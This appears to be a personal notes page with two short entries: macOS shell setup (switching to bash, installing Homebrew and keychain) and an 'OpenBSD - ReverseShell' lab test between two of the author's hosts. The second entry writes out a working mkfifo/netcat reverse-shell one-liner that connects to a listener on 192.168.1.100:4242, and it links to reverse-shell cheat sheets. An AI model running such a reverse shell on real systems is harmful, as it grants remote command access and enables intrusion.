Shell

macOS

some adaption for macOS Shell macOS is using zsh since while. If you wanna switch back to bash, here some Notes …" Switch to Bash chsh -s /bin/bash install brew the famous package manager for macOS /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)" install keychain if you work with ssh agent, you may wanna try keychain … brew install keychain build .bash_profile this will overwrite your existing .bash_profile cp ~/.bash_profile ~/.bash_profile.$(date "+%s")~ cat << 'EOF' > ~/.

OpenBSD - ReverseShell

Reverse Shells https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md https://kb.systemoverlord.com/security/postex/reverse/ Test it Listen on Host A Set Lister on Host A (192.168.1.100) hostA # nc -l 4242 Start Reverse Shell on Host B hostB # rm /tmp/f; mkfifo /tmp/f; /bin/sh -i 2>&1 </tmp/f |nc 192.168.1.100 4242 >/tmp/f here we are hostA # hostname hostA.somewhere hostA # nc -l 4242 hostB # hostname hostB.somewhere nice ;) sha256: 0a5d01e633e102b0f3e258db89028946a247ef2296eab8dbf8819bc7472779c3